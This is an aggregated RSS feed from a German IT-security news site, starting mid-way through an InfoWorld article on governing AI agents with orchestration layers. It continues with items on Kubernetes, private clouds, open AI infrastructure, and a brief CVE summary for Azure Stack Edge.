    route_to_execution(policy.execution_environment)
else:
    raise AuthorizationError(policy.reason)
</code></pre>



<p>The policy engine here evaluates dataset classification, model approval status, geographic processing rules, and the delegation chain that initiated the request. That might mean redirecting the task to an internal inference cluster instead of a public API endpoint, or blocking the request if no compliant execution environment exists. From the agent’s perspective, the task still executes. The orchestration layer ensures it runs in an environment that satisfies enterprise policy.</p>



<h2 class="wp-block-heading"><a></a>Why ontologies are load-bearing infrastructure</h2>



<p>For the orchestration layer to make good decisions, it needs to do more than label data. It needs to understand how the entities involved in a request relate to each other, and reason over those relationships to determine what’s allowed.</p>



<p>Consider the customer support transcript example again. Metadata tells you the dataset contains PII (personally identifiable information). An ontology lets the system reason across a connected chain: the task operates on a dataset containing personal data; that data is governed by GDPR; the organization’s policy requires processing within an approved EU environment; the selected model runs outside that boundary. From those four connected facts, the orchestration layer can infer the request must be rerouted or blocked. The system reasoned over the relationships rather than matching against a hardcoded rule tied to a specific dataset.</p>



<p>This is what makes policy enforcement, execution routing, data locality, and audit decisions computable at runtime. An ontology can be built around virtually any entity-relationship set the enterprise needs to govern: datasets, models, agents, users, regulations, tasks, environments. The relationships that matter are the ones that drive the decisions the governance layer needs to make. Access control lists can restrict who touches a resource, but they can’t reason across a connected set of entities. That reasoning is what the orchestration layer depends on.</p>



<h2 class="wp-block-heading"><a></a>Decision provenance as a first-class requirement</h2>



<p>Enterprise systems also require auditability. When automated agents trigger actions across multiple systems, organizations must be able to reconstruct the decision path that produced the outcome. Compliance depends on it. So does incident response and basic operational trust.</p>



<p>An orchestration layer generates records describing the initiating identity, the agent, the model, the data sources, the policies evaluated during authorization, and virtually anything else the organization chooses to capture in its ontology. That chain of custody allows teams to investigate incidents and validate compliance without treating production AI systems as operational black boxes.</p>



<p>Regulators and auditors are no longer satisfied with knowing what an AI system was designed to do. They want a factual record of what it did in a specific instance, under what authorization, and with what effect—something dashboards can’t provide, but a well-designed orchestration layer can. The EU AI Act makes this explicit: under<a href="https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32024R1689"> Article 12 and Article 17</a>, high-risk AI systems must maintain documentation that makes decisions traceable and auditable, with records sufficient to support investigation after the fact.</p>



<h2 class="wp-block-heading"><a></a>Where this leaves enterprise teams</h2>



<p>Agent frameworks will keep improving. The coordination problems they solve are real, and the ecosystem will continue to mature. But the architectural challenge for enterprises has shifted. It’s no longer primarily about coordinating agents. It’s about governing how those agents interact with real infrastructure, real data, and real compliance obligations.</p>



<p>The patterns for doing that exist today: contextual authorization, data locality enforcement, ontology-aware policy evaluation, decision provenance. What most organizations are missing is the recognition that these capabilities belong in a distinct layer that operates independently of whichever agent framework sits above it. Build that layer, and the rest becomes manageable.</p>



<p><em>—</em></p>



<p><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[Kubernetes at Home: k3s on a Single Linux Server (2026)]]></title>
<description><![CDATA[Marcus’s DevOps Brief: I run k3s on a repurposed Dell OptiPlex in my closet. It hosts my Grafana dashboards, a GitOps-managed homelab, and a few side projects. If you have a spare machine with 4GB of RAM, you can do…]]></description>
<link>https://tsecurity.de/de/3617061/linux-tipps/kubernetes-at-home-k3s-on-a-single-linux-server-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3617061/linux-tipps/kubernetes-at-home-k3s-on-a-single-linux-server-2026/</guid>
<pubDate>Tue, 23 Jun 2026 04:39:16 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Marcus’s DevOps Brief: I run k3s on a repurposed Dell OptiPlex in my closet. It hosts my Grafana dashboards, a GitOps-managed homelab, and a few side projects. If you have a spare machine with 4GB of RAM, you can do…]]></content:encoded>
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<title><![CDATA[On-Premises API Security on Kubernetes: What It Actually Looks Like in Practice]]></title>
<description><![CDATA[Let’s Talk About Where Your APIs Actually Run Quick answer: On-premises API security keeps API discovery, detection, and enforcement inside your own perimeter instead of a third-party cloud—the model regulated industries need. Deploying it natively on Kubernetes (sidecar sensors → a discovery con...]]></description>
<link>https://tsecurity.de/de/3616416/it-security-nachrichten/on-premises-api-security-on-kubernetes-what-it-actually-looks-like-in-practice/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616416/it-security-nachrichten/on-premises-api-security-on-kubernetes-what-it-actually-looks-like-in-practice/</guid>
<pubDate>Mon, 22 Jun 2026 20:53:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Let’s Talk About Where Your APIs Actually Run Quick answer: On-premises API security keeps API discovery, detection, and enforcement inside your own perimeter instead of a third-party cloud—the model regulated industries need. Deploying it natively on Kubernetes (sidecar sensors → a discovery controller → an inline WAF gateway) makes it practical: continuous API discovery surfaces […]</p>
<p>The post <a href="https://www.imperva.com/blog/on-premises-api-security-kubernetes/">On-Premises API Security on Kubernetes: What It Actually Looks Like in Practice</a> appeared first on <a href="https://www.imperva.com/blog">Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[2,000 Retired Google Pixel Phones Get a Second Life As a Private Cloud]]></title>
<description><![CDATA[UC San Diego researchers are working with Google to build a private cloud from 2,000 retired Pixel Fold motherboards, demonstrating how discarded smartphones could provide useful, low-cost computing capacity. "The full smartphone cluster is expected to launch this fall," reports The Register. "De...]]></description>
<link>https://tsecurity.de/de/3616048/it-security-nachrichten/2000-retired-google-pixel-phones-get-a-second-life-as-a-private-cloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616048/it-security-nachrichten/2000-retired-google-pixel-phones-get-a-second-life-as-a-private-cloud/</guid>
<pubDate>Mon, 22 Jun 2026 18:08:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[UC San Diego researchers are working with Google to build a private cloud from 2,000 retired Pixel Fold motherboards, demonstrating how discarded smartphones could provide useful, low-cost computing capacity. "The full smartphone cluster is expected to launch this fall," reports The Register. "Depending on how well the initial phase goes, we're told the cluster could grow even larger." From the report Once the phone's motherboards have been extracted from their shells, the researchers say that the chips hiding within remain more than potent enough to be useful for a variety of tasks. In many cases, the single-threaded performance of these chips is as good as, if not better than, what you'd find from a many-cored datacenter chip. The Pixel Fold smartphones, which will form the basis of the cluster, are powered by a Google Tensor G2 processor with two 2.85 GHz Cortex-X1, two 2.35 GHz Cortex-A78 and four 1.80 GHz Cortex-A55 Arm cores, a Mali-G710 MP7 GPU, and 12 GB of system memory. Early benchmarking using the SPEC suite suggests that 25-50 phones should deliver performance similar to that of a conventional server.
 
The major challenge, instead, is distributing workloads across multiple devices, each of which has a handful of cores of one or more varieties, and most have 8-12 GB of memory. UCSD researchers are approaching this challenge from a couple of different angles. The first is by targeting applications that can easily fit within a single device. The second is using Kubernetes to orchestrate container deployments across clusters of 25-50 phones. For this to work, the devices first need to be flashed with a Linux operating system suitable for the job. While Android makes for a great handheld experience, it is not intended for server duty. In the blog post, researchers note that Android includes functionality intended to stop rogue applications from chewing up excessive amounts of memory and draining your battery. In server context, these safety mechanisms are no longer necessary.
 
[Ryan Kastner, an associate professor of computer science at UCSD] told us this was by no means an easy task, but the team has made steady progress toward getting Linux running smoothly on these devices, including support for the phone's onboard GPUs. Access to some functionality, like the chip's integrated tensor processing unit, remains elusive. Clustering these devices will require networking the phones together. Normally these devices would connect over cellular or Wi-Fi, but at this scale, this not only isn't practical, but also has implications for security, he explained. Instead, the team will employ PCBs that both supply power and break out wired Ethernet networking.
 
The researchers suggest that many EdTech, grading, and research workloads commonly run by universities in the cloud are small enough to run on the cluster without issue. "The vast majority of these applications are within the capabilities of a single smartphone to host, with the standard grading backend running on small cloud instances," a blog post detailing the planned deployment reads. "Early experiments show that even a moderately-sized cluster of 20 phones is capable of supporting peak submission rates for a 75+ student class."<p></p><div class="share_submission">
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</div><p><a href="https://hardware.slashdot.org/story/26/06/22/0348249/2000-retired-google-pixel-phones-get-a-second-life-as-a-private-cloud?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[VCF Breakroom Chats Episode 90 – Shift Into High Gear: Supercharge Your Private Cloud with VMware vSphere Kubernetes Service in VCF 9.1]]></title>
<description><![CDATA[In this episode of VCF Breakroom Chats, Natalie Fisher and Jay Thontakudi break down the strategic advantages of the new VMware vSphere Kubernetes Service (VKS) capabilities introduced in VMware Cloud Foundation (VCF) 9.1.
The post VCF Breakroom Chats Episode 90 – Shift Into High Gear: Supercharg...]]></description>
<link>https://tsecurity.de/de/3615686/downloads/vcf-breakroom-chats-episode-90-shift-into-high-gear-supercharge-your-private-cloud-with-vmware-vsphere-kubernetes-service-in-vcf-91/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3615686/downloads/vcf-breakroom-chats-episode-90-shift-into-high-gear-supercharge-your-private-cloud-with-vmware-vsphere-kubernetes-service-in-vcf-91/</guid>
<pubDate>Mon, 22 Jun 2026 16:02:10 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="300" height="169" src="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png?w=300" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png 1920w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png?resize=300,169 300w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png?resize=768,432 768w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png?resize=1024,577 1024w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png?resize=1536,865 1536w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png?resize=752,423 752w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png?resize=576,324 576w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2025/12/VCF-Breakroom-Chats-Final-Selected-featured-image.png?resize=600,338 600w" sizes="(max-width: 300px) 100vw, 300px"></div>
<p>In this episode of VCF Breakroom Chats, Natalie Fisher and Jay Thontakudi break down the strategic advantages of the new VMware vSphere Kubernetes Service (VKS) capabilities introduced in VMware Cloud Foundation (VCF) 9.1.</p>
<p>The post <a href="https://blogs.vmware.com/cloud-foundation/2026/06/22/vcf-breakroom-chats-episode-90-shift-into-high-gear-supercharge-your-private-cloud-with-vmware-vsphere-kubernetes-service-in-vcf-9-1/">VCF Breakroom Chats Episode 90 – Shift Into High Gear: Supercharge Your Private Cloud with VMware vSphere Kubernetes Service in VCF 9.1</a> appeared first on <a href="https://blogs.vmware.com/cloud-foundation">VMware Cloud Foundation (VCF) Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[Why open infrastructure will define the AI era]]></title>
<description><![CDATA[A new form of vendor lock-in is here. And it’s not proprietary languages or rigid enterprise software suites — it’s something more fundamental. It’s the very thing that writes the code.



JetBrains Research found that 74% of developers worldwide use AI tools. Claude Code, available only since Ma...]]></description>
<link>https://tsecurity.de/de/3614974/ai-nachrichten/why-open-infrastructure-will-define-the-ai-era/</link>
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<pubDate>Mon, 22 Jun 2026 11:19:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>A new form of vendor lock-in is here. And it’s not proprietary languages or rigid enterprise software suites — it’s something more fundamental. It’s the very thing that writes the code.</p>



<p><a href="https://blog.jetbrains.com/research/2026/04/which-ai-coding-tools-do-developers-actually-use-at-work/">JetBrains Research</a> found that 74% of developers worldwide use AI tools. <a href="https://www.infoworld.com/article/4136718/claude-code-is-blowing-me-away.html">Claude Code</a>, available only since May 2025, is now the most popular AI coding tool, followed by <a href="https://www.infoworld.com/article/3829347/review-gemini-code-assist-is-good-at-coding.html">Gemini Code Assist</a> and <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>, according to Jellyfish’s 2026 <a href="https://jellyfish.co/resources/2026-state-of-engineering-management-report/">State of Engineering Management Report</a>.</p>



<p>The latter study also found that 91% of developers say their productivity has increased in the past 12 months. As coding output <a href="https://leaddev.com/ai/openai-says-there-are-easily-1000x-engineers-now">expectations are rewritten daily</a>, the engineering world is becoming heavily reliant on paid external AI services.</p>



<p><a href="https://www.linkedin.com/posts/markwoneill_how-to-optimize-token-consumption-for-ai-activity-7458329480994992128-AT9m?utm_source=share&amp;utm_medium=member_desktop&amp;rcm=ACoAAA-8zTABlsmtYe-zC-Uf5z3oD5nm6qXDVVo">Gartner predicts</a> that by 2028 spending on AI coding tokens could exceed developer salaries. Yet, <a href="https://www.infoworld.com/article/4183060/the-tokenmaxxing-backlash-is-coming.html">tokenmaxxing</a> while <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development-how-to-choose.html">vibe coding</a> through a vendor’s cloud-based API feels like a far cry from the open foundations of free programming languages and open models, which many of today’s AI platforms now abstract.</p>



<p>“Open infrastructure will be the backbone of the AI era,” says <a href="https://www.linkedin.com/in/farkasp/">Peter Farkas</a>, CEO of <a href="https://www.percona.com/">Percona</a>, a provider of open-source database solutions. “Right now, too many companies are building their entire AI strategy on top of proprietary platforms because the convenience is seductive.”</p>



<p>“It’s ‘three clicks’ to stand up a database or an AI service in a hyperscaler, and that convenience blinds people to the lock-in they’re signing up for,” he adds. “As AI workloads mature, organizations will realize that depending on one vendor for their data, models, runtime, and pricing is not a strategy.”</p>



<p><a href="https://www.infoworld.com/article/3973969/knowing-when-to-use-ai-coding-assistants.html">AI-assisted coding</a> is democratizing software engineering for non-engineers and <a href="https://leaddev.com/ai/ai-doesnt-create-great-developers-it-amplifies-them">accelerating top performers</a>. But if teams are always working within the confines of how one platform thinks the world should work, it could create locked-in toolsets at scale. And as <a href="https://techcrunch.com/2025/12/29/2025-was-the-year-ai-got-a-vibe-check/">AI platform costs rise</a>, a fundamental question arises: will software developers consume AI on their own terms, or on someone else’s?</p>



<p>There’s a strong case that the long-term winners in tech will be built on open-source standards and foundations, similar to the history of cloud-native computing and the internet itself.</p>



<p>“Open always wins,” says <a href="https://www.linkedin.com/in/brianalvey/">Brian Alvey</a>, CTO at <a href="https://wpvip.com/">WordPress VIP</a>, a managed WordPress hosting platform. “Not because it’s a fancy ideology, but because it gives you total freedom to adapt, evolve, and stay in control.”</p>



<p>Open infrastructure avoids a future where developers perpetually rent. “For AI to be useful to people at large, it can’t be something you’re paying rent for the rest of your life,” says <a href="https://www.linkedin.com/in/maniksurtani/">Manik Surtani</a>, CTO and co-founder of the <a href="https://aaif.io/">Agentic AI Foundation</a> (AAIF), a vendor-neutral home for open-source agentic AI technologies. “And it can’t be concentrated in one particular corporation or a small handful of corporations, because we know how that goes.”</p>



<h2 class="wp-block-heading">Pricey, closed, proprietary AI</h2>



<p>AI development today is traveling two parallel paths. On one path, <a href="https://leaddev.com/technical-direction/be-careful-open-source-ai">open-source AI</a> is thriving and fueling tremendous growth in the number and variety of AI models and tools. Just take the thousands of open-weight models on <a href="https://huggingface.co/">HuggingFace</a>, the community around the <a href="https://openclaw.ai/">OpenClaw</a> AI agent, or the many academic institutions publishing <a href="https://thenewstack.io/llms-can-now-trace-their-outputs-to-specific-training-data/">new breakthroughs</a>.</p>



<p>“Open-source models and tooling are hot on the heels of state-of-the-art, with interesting and boundary-pushing work being shared by labs and researchers across the world,” says Austin Parker, director of AI strategy at <a href="https://www.honeycomb.io/">Honeycomb</a>, an observability platform provider, citing frontier open-source models like <a href="https://mistral.ai/">Mistral</a>, <a href="https://github.com/deepseek-ai/deepseek-v3">DeepSeek</a>, and <a href="https://allenai.org/olmo2">Ai2’s OLMo</a> as examples.</p>



<p>Others agree. “There’s unprecedented openness at the model and tooling layer, with open-source models, frameworks, and orchestration advancing at remarkable speed,” says <a href="https://www.linkedin.com/in/markcollier/">Mark Collier</a>, general manager of AI and infrastructure at the <a href="https://www.linuxfoundation.org/">Linux Foundation</a>.</p>



<p>On the other path, we’re seeing heavy reliance on proprietary AI systems controlled by Anthropic, Cursor, Google, Microsoft, OpenAI, and others. As Collier says, “Many platforms are wrapping those open components in closed, opinionated interfaces that trade short-term speed for long-term constraints.”</p>



<p><a href="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html">Open source</a> and the AI tooling market don’t always mix well. LangChain’s <a href="https://github.com/langchain-ai/open-agent-platform">Open Agent Platform</a>, for instance, was open-sourced to much fanfare in 2025, but by 2026 had been deprecated, with the repository now recommending fully managed alternatives.</p>



<p>For <a href="https://www.linkedin.com/in/shaposhnik/">Roman Shaposhnik</a>, co-founder and CTO of <a href="https://nekko.ai/">Ainekko</a>, provider of an open-source, composable AI stack, the current AI platform landscape is reminiscent of <a href="https://devops.com/demystifying-the-low-code-category/">low-code and no-code platforms</a>, which promised democratization of software development but often <a href="https://www.infoworld.com/article/3958483/7-reasons-low-code-and-no-code-tools-fail-to-deliver.html">failed to deliver</a>, becoming synonymous with platform lock-in and inflexibility.</p>



<p>“Honestly, it feels familiar,” Shaposhnik says. “We have incredibly powerful AI tools right now, but most of them come bundled as tightly controlled platforms.” This is a risk for AI, he says, because the infrastructure, models, and hardware are tightly coupled. “If those layers are closed, you lose flexibility fast.”</p>



<p>Some abstractions that sit on top of models, like routing and agent frameworks, tend to be tightly coupled and optimized for certain models. Other platforms take the walled garden concept quite literally. Anthropic, for instance, has repeatedly made headlines for blocking access to its Claude models over <a href="https://www.tomshardware.com/tech-industry/artificial-intelligence/anthropic-nuked-a-companys-access-to-claude-stopping-60-employees-dead-in-their-tracks-support-via-google-form-is-the-only-recourse-for-vague-usage-policy-violation">vague policy violations</a>. The company recently shut off <a href="https://venturebeat.com/technology/anthropic-cracks-down-on-unauthorized-claude-usage-by-third-party-harnesses">competitor xAI’s use</a> and <a href="https://thenewstack.io/anthropic-agent-sdk-confusion/">stonewalled OpenCode</a>, drawing community backlash.</p>



<p>Moves toward increasingly closed systems don’t bode well for an AI economy already built on shaky economics. As <a href="https://www.linkedin.com/in/vikramsrivats/">Vikram Srivats</a>, head of product experience at <a href="https://www.wavemaker.com/">WaveMaker</a>, provider of an agentic application development platform, adds, “Given the unit economics of AI tooling and pace of accelerated change to keep up, it seems obvious that some will evolve to more of a closed system to be able to monetize and gain ROI.”</p>



<h2 class="wp-block-heading">Why openness matters in the AI era</h2>



<p>Reliance on proprietary AI platforms can create long-term operational dependencies. As systems become less interoperable, organizations may be forced to standardize on a single stack across data pipelines, models, and decision logic, says the Linux Foundation’s Collier.</p>



<p>“As infrastructure consolidates, enterprises become more exposed when platforms change direction, raise prices, or fall behind technically,” he says. “If you can’t change platforms without re-architecting your AI systems, you’ve already given up too much control.”</p>



<p>“When you build on someone else’s platform, you have to live by their rules and those rules always change,” adds WordPress VIP’s Alvey. “We’ve all seen this before, businesses wasting time and money building to serve Google, Facebook, YouTube, and the App Store, instead of building to serve their customers.”</p>



<p><a href="https://www.infoworld.com/article/2337012/get-used-to-cloud-vendor-lock-in.html">Platform lock-in</a> can also create direct business risk. As Ainekko’s Shaposhnik says, “It usually shows up as higher costs, fragile systems, and growing risk when it’s time to change direction.”</p>



<p>At Ainekko, an internal group called the <a href="https://www.eejournal.com/article/do-you-want-to-be-an-ai-plumber/">AI Plumbers</a> focuses on back-end AI infrastructure like inference, scheduling, memory, and hardware integration. “Their view is simple,” says Shaposhnik. “If those layers are closed, everything above them becomes fragile.”</p>



<p>Open standards, interfaces, and infrastructure provide a necessary hedge against closed systems to prevent this sort of fragility. “In the AI era, open infrastructure gives enterprises control, portability, and choice at exactly the time they need it most,” says Percona’s Farkas.</p>



<p>It can cost upwards of $100,000 to migrate enterprise software, <a href="https://cloudaware.com/blog/cloud-migration-costs/">according to Cloudaware</a>, making portability a major enterprise concern. From this perspective, procuring closed systems can become a costly architectural dependency.</p>



<p>Others argue that openness is a critical hedge against vendor concentration risks at large, especially if AI replaces human labor en masse. “If all of that economic value is now being concentrated in the hands of one or two companies,” says the AAIF’s Surtani, “that’s an order of magnitude bigger problem than we’ve seen in any other wave of computing.”</p>



<p>Instead, open foundations allow adaptability to evolving conditions so enterprises can swap out models, agents, data, hardware, and orchestration, as needed. “Open standards let those components change independently without breaking the system,” says Collier. </p>



<p>Openness can also help future-proof businesses against economic upheaval. “Open everything will help build a cushion for businesses and users to survive and thrive after the almost-certain correction in the current hype cycle,” says WaveMaker’s Srivats.</p>



<h2 class="wp-block-heading">Momentum toward open AI infrastructure</h2>



<p>At the industry level, momentum toward open AI infrastructure is growing. The <a href="https://www.linuxfoundation.org/press/linux-foundation-announces-the-formation-of-the-agentic-ai-foundation">establishment</a> of the <a href="https://aaif.io/author/aaif/">Agentic AI Foundation</a>, Anthropic’s donation of <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a> (MCP), and Block’s donation of its <a href="https://aaif.io/projects/goose/">Goose agent</a> are significant ecosystem-wide moves toward openness. Other advances include the donation of <a href="https://thenewstack.io/llm-d-cncf-kubernetes-inference/">llm-d</a>, a <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a> framework for LLM inference, to the Cloud Native Computing Foundation (CNCF).</p>



<p>For Parker, donations like this help ensure long-term support and care. “Open standards aren’t just the foundation of the internet, they’re the foundation of the AI space,” he says. “I predict that we’ll see these practices continue, especially as enterprise adoption increases in earnest,” he adds.</p>



<p>Still, some question whether this level of stewardship is enough for a rapidly evolving ecosystem. “The internet benefited early on from groups that helped keep vendors aligned,” says Shaposhnik. “In AI infrastructure, we don’t really have that yet.”</p>



<p>“All of us open source veterans are hopeful,” he says, “but we also need to adapt to this new reality in what we do regarding AI infrastructure.”</p>



<p>Beyond industry governing bodies, companies themselves are also spearheading open AI initiatives. Warp, an agentic development environment, recently <a href="https://thenewstack.io/warp-open-source-client/">went open source</a> amid closed-source rivals. Arcade.dev, meanwhile, is pushing an open-source <a href="https://www.arcade.dev/blog/agent-library/">Agent Library</a> for agentic memory.</p>



<h2 class="wp-block-heading">Where openness matters most in the AI stack</h2>



<p>While AI infrastructure can be open in many ways, a few layers stand out as especially important. First is the openness of the model itself. “Open-source models must be the foundation of future trust and value,” says WaveMaker’s Srivats.</p>



<p>“The forms of open infrastructure that reduce integration friction and accelerate adoption stand out,” adds <a href="https://www.linkedin.com/in/neeraj-abhyankar-9040141/">Neeraj Abhyankar</a>, VP of data and AI at <a href="https://www.rsystems.com/">R Systems</a>, a global digital solutions provider. For him, open model representation formats, open orchestration and execution layers, open agentic protocols, and open governance and metadata standards are all essential for enterprise flexibility.</p>



<p>Others place more value on the connective tissue between AI components. “The most important forms of open infrastructure are the ones that connect systems together,” says Collier. “That includes open APIs, metadata standards, identity and policy frameworks, and protocols for how models and agents communicate.” </p>



<p>Arguably, <a href="https://www.infoworld.com/article/4096223/10-mcp-servers-for-devops.html">MCP</a> has become the connective tissue between AI agents and the <a href="https://thenewstack.io/how-to-prepare-your-api-for-ai-agents/">broader API ecosystem</a>. “If we get MCP right we unlock the same level of interoperability between entities on the web and models driving them as we came to enjoy during the Web 2.0 era and the API-first boom,” says Shaposhnik. “If we don’t we risk massive proprietary lock-ins.”</p>



<p>Parker agrees that open protocols will underlie future AI progress. “We’ll see continued development and progress on AI agents which will rely on protocols like MCP and ACP [<a href="https://www.infoworld.com/article/4007686/a-developers-guide-to-ai-protocols-mcp-a2a-and-acp.html">Agent Client Protocol</a>] to interoperate with various clients and each other,” he says. Yet a gap remains around API conventions for models. “It would be nice if we could get a commitment from model providers to use a standard here.”</p>



<p>For the AAIF’s Surtani, opening up the protocol layer is the most important aspect. “I think it’s really important for interoperability, for choice,” he says. “It means you can bring your own agent, you can bring your own framework, you can bring your own harness, and pick what model you want.”</p>



<p>Open standards may also play a significant role within <a href="https://www.infoworld.com/article/4117620/edge-ai-the-future-of-ai-inference-is-smarter-local-compute.html">inference architecture</a>. “As AI expands to the edge, developers need visibility into how models run, how memory is used, and how performance scales,” says Shaposhnik. Open systems could make it easier to optimize, debug, and adapt while helping enterprises avoid observability fragmentation.</p>



<p>Lastly, <a href="https://www.infoworld.com/article/3498485/the-future-of-kubernetes-and-cloud-infrastructure.html">cloud-native architectural standards</a> are a key ingredient for open AI infrastructure. “We’re seeing Kubernetes become the missing link for people who want the hyperscaler-style convenience without hyperscaler lock-in,” says Percona’s Farkas. For him, Kubernetes has become the de facto hybrid enterprise deployment option for data, workloads, and AI components.</p>



<h2 class="wp-block-heading">History repeats itself</h2>



<p>The <a href="https://opensource.org/blog/the-2026-state-of-open-source-report">2026 State of Open Source Report</a> found avoiding vendor lock-in to be the primary driver of open source adoption. But beyond being a strategic decision for a single company, open infrastructure provides a layer for entire industries to be built upon.</p>



<p>Arguably, the internet itself is evidence of this, where groups like the <a href="https://www.ietf.org/">IETF</a> and the <a href="https://www.ieee.org/">IEEE</a> were instrumental in defining the fundamental protocols. “Without open protocols we would’ve been in telco hell and without phenomenons like Google or Facebook,” says Shaposhnik.</p>



<p>Or, take the <a href="https://www.infoworld.com/article/2335646/thirty-two-years-of-linux-and-its-community.html">history of Linux</a> as a parallel. “Linux became the default operating system because it offered a common, vendor-neutral foundation that everyone could build on,” says Collier. “In the AI era, open infrastructure will define the layers that organizations rely on for long-term continuity.”</p>



<p>At the infrastructure level, open standards have repeatedly underpinned major platform shifts, from <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker</a> to <a href="https://www.infoworld.com/article/3812622/will-kubernetes-ever-get-easier.html">Kubernetes</a>. The question now is whether AI will develop a similarly durable standards layer.</p>



<p>For Parker, it’s too early to say, but the current growth of AI mirrors the early cloud. “Remember that it took many years before we saw the development and popularization of the open source cloud-native ecosystem,” he says. “I think it would be a mistake to extrapolate from the current trajectory towards a closed, proprietary future.”</p>



<p>Others agree the future must be rooted in openness. “I see open infrastructure becoming the foundation of enterprise AI,” says R Systems’s Abhyankar. “As systems become more distributed and agent‑driven, closed ecosystems simply won’t scale.”</p>



<p>The groundwork is being laid through open agentic protocols, open frameworks, and industry support intended to reduce fragmentation around proprietary standards.</p>



<p>“Ironically, the AI movement has mostly seemed to learn from the mistakes of the past and is starting off on a more open foot,” says Parker. “Over time, I believe we’ll see innovation and openness thrive.”</p>
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<title><![CDATA[Anzeige: IT-Jobs in Architektur, Administration und Entwicklung]]></title>
<description><![CDATA[Ob IT-Infrastruktur in der Forschung, Netzwerksicherheit bei Energieversorgern oder Kubernetes im Hosting - diese Jobs bieten anspruchsvolle Technik. (Golem Karrierewelt, Unternehmenssoftware)]]></description>
<link>https://tsecurity.de/de/3613103/it-nachrichten/anzeige-it-jobs-in-architektur-administration-und-entwicklung/</link>
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<pubDate>Sun, 21 Jun 2026 07:02:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ob IT-Infrastruktur in der Forschung, Netzwerksicherheit bei Energieversorgern oder Kubernetes im Hosting - diese Jobs bieten anspruchsvolle Technik. (<a href="https://www.golem.de/specials/golemakademie/">Golem Karrierewelt</a>, <a href="https://www.golem.de/specials/unternehmenssoftware/">Unternehmenssoftware</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=209943&amp;page=1&amp;ts=1782018001" alt="" width="1" height="1">]]></content:encoded>
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<title><![CDATA[Security: Zwei Probleme in kubernetes-old (SUSE)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3611699/unix-server/security-zwei-probleme-in-kubernetes-old-suse/</link>
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<pubDate>Sat, 20 Jun 2026 07:02:06 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<title><![CDATA[CVE-2022-37968 | Microsoft Azure Stack Edge privileges management (EUVD-2022-40575)]]></title>
<description><![CDATA[A vulnerability was found in Microsoft Azure Stack Edge and Azure Arc-enabled Kubernetes Cluster. It has been rated as very critical. This vulnerability affects unknown code. The manipulation leads to improper privilege management.

This vulnerability is referenced as CVE-2022-37968. Remote explo...]]></description>
<link>https://tsecurity.de/de/3611540/sicherheitsluecken/cve-2022-37968-microsoft-azure-stack-edge-privileges-management-euvd-2022-40575/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3611540/sicherheitsluecken/cve-2022-37968-microsoft-azure-stack-edge-privileges-management-euvd-2022-40575/</guid>
<pubDate>Sat, 20 Jun 2026 04:20:56 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
